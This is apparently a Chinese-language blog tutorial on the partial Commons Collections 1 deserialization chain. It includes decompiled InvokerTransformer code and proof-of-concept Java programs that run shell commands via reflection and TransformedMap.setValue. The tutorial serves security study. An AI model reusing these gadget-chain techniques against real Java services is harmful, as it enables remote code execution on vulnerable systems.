Java反序列化:Commons Collections 1 链深度解析
本文深入解析Java反序列化漏洞中的Commons Collections 1(CC1)利用链,详细阐述其核心组件InvokerTransformer的工作原理及命令执行过程。
- 网络安全
- Java安全
cc1
-
入口
- transformer接口
package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }- 找到接口的实现类org.apache.commons.collections.functors.InvokerTransformer
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package org.apache.commons.collections.functors; import java.io.Serializable; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import org.apache.commons.collections.FunctorException; import org.apache.commons.collections.Transformer; public class InvokerTransformer implements Transformer, Serializable { private static final long serialVersionUID = -8653385846894047688L; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public static Transformer getInstance(String methodName) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else { return new InvokerTransformer(methodName); } } public static Transformer getInstance(String methodName, Class[] paramTypes, Object[] args) { if (methodName == null) { throw new IllegalArgumentException("The method to invoke must not be null"); } else if ((paramTypes != null || args == null) && (paramTypes == null || args != null) && (paramTypes == null || args == null || paramTypes.length == args.length)) { if (paramTypes != null && paramTypes.length != 0) { paramTypes = (Class[])paramTypes.clone(); args = args.clone(); return new InvokerTransformer(methodName, paramTypes, args); } else { return new InvokerTransformer(methodName); } } else { throw new IllegalArgumentException("The parameter types must match the arguments"); } } private InvokerTransformer(String methodName) { this.iMethodName = methodName; this.iParamTypes = null; this.iArgs = null; } public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } } }查看transform方法发现这个方法接收的参数是一个
Object,也就是可以接收任意类的对象(多态),之后获取这个类的类对象,根据类对象获取这个类的某个方法,方法名和这个方法需要的参数类型,函数getMethod方法指定,this.iMethodname是妖狐去的方法名,this.iArgs是要获取的参数类型。最后通过method。invoke去执行这个方法,其中的参数包括要执行transform以及这个对象包含的参数(注意:是参数不是参数类型)。接下来看如何设置需要的四个参数,包括(
Object input,iMethodname,iParamTypes,IArgs)。如果对于命令执行的话,常见的java命令执行方式有:
Runtime.getRuntime().exec()那么这里我们可以尝试Object是
Runtime.getRuntime(),如何设置iMethodname,iParamTypes,IArgs呢?往上看可以看到构造函数,通过构造函数可以提供所有的参数,那么可以尝试一下能否进行命令执行。import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; public class myExec { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, InterruptedException { String[] command = {"/bin/sh", "-c", "ls -l /"}; // 注意:invoke 的第二个参数是 Object...,所以需要将 command 数组再包装一下 // 因为invok函数会一个一个把数组中的每一个元素交给exec处理,但是exec需要的一整个字符串数组,所以需要继续包装,这样拆开的第一个元素也就是完整的字符串就被交给了exec。 Transformer aaa = new InvokerTransformer("exec", new Class[]{String[].class},new Object[]{command}); // 2. 获取 Runtime 类的 Class 对象 Class<?> runtimeClass = Class.forName("java.lang.Runtime"); // 3. 获取 getRuntime() 这个静态方法 (该方法没有参数) Method getRuntimeMethod = runtimeClass.getMethod("getRuntime"); // 4. 调用 getRuntime() 方法,因为是静态方法,所以第一个参数传 null // 这会返回一个 Runtime 的实例对象 Object runtimeInstance = getRuntimeMethod.invoke(null); // ---接收 transform 的返回值 --- // transform 方法的返回值就是 exec 方法的返回值,即 Process 对象 // 因为是反射调用,所以返回的是 Object 类型,需要我们强制转换 Process process = null; Object processObject = aaa.transform(runtimeInstance); process = (Process) processObject; // --- 读取并打印进程的输出流 --- // 这部分逻辑与常规的 RuntimeExecExample.java 完全一样 System.out.println("--- Command Output Start ---"); BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { System.out.println(line); } System.out.println("--- Command Output End ---"); // --- 等待进程结束并获取退出码 --- int exitCode = process.waitFor(); System.out.println("Command exited with code: " + exitCode); } }
很明显这里执行成功,其中2-4步可以直接是
runtimeInstance = RunTime.getRunTime()-
现在我们找到了可以命令执行的方法,那么如何利用呢?
- 找到利用transformer的地方,查看transform函数调用,我们是否能够利用transform函数的参数Object
-
这里我们先用
TransformedMap类,protected Object checkSetValue(Object value) { return this.valueTransformer.transform(value); }这里调用了transform函数,我们继续看看如何设置
this.valueTransformer。public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }这里可以看到TransformedMap这个类的构造函数是protected,所以需要在类内部调用构造函数,decorate方法是一个静态方法,可以直接通过类调用进一步获取实例,传递的参数包括:(Map,Transformer,Transformer)。那么这里有调用transform函数,接下来就有两点:
- 如何把valueTransformer变成InvokeTransformer
Object Value如何控制成InvokeTransformer
我们可以先看第二个,需要看看value的值是如何传递的?跟进看一下

点击左侧符号,我们找到了
AbstractInputCheckedMapDecorator类,并发现在子类对checkSetValue有调用static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = this.parent.checkSetValue(value); return this.entry.setValue(value); } }那么接下来我们试一下这个setValue能否能利用,思路如下:
- 先构造invokeTransformer命名为it
- 利用先前说到的TransformedMap类的静态方法decorate创建TransformedMap对象,这个时候会传递一个map和我们之前创造的it
- 遍历TransformedMap对象的所有元素,调用每个元素的setValue
- 这个时候会调用AbstractMapEntryDecorator类的setValue进一步
- 在执行到
this.parent.checkSetValue(value);时候会调用TransformedMap的checkValue函数 - 最终执行了
return this.valueTransformer.transform(value);。
注意:这里解释一下为什么this.parent是指TransformedMap对象:
由于我们调用了
decorate.entrySet(),我们可以查看TransformedMap中这个函数,会发现他没有,那么就查看父类中的这个函数AbstractInputCheckedMapDecorator,public Set entrySet() { return (Set)(this.isSetValueChecking() ? new EntrySet(this.map.entrySet(), this) : this.map.entrySet()); }这里传递的this就指的是TransformedMap对象。
思路代码如下:
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class myExec2 { public static void main(String[] args) { Runtime runtime = Runtime.getRuntime(); String[] command = {"open", "-a", "Calculator"}; InvokerTransformer it = new InvokerTransformer("exec",new Class[]{String[].class},new Object[]{command}); HashMap<Object, Object> map = new HashMap<Object, Object>(); map.put("1","2"); Map<Object, Object> decorate = TransformedMap.decorate(map, null, it); for (Map.Entry entry : decorate.entrySet()) { entry.setValue(runtime); } } }
-
那么接下来,我们需要能够找到调用setValue的地方,就是找到能够接受一个map,并且便利这个map的所有元素 并调用setValue函数
留言讨论
0 条留言
正在加载留言...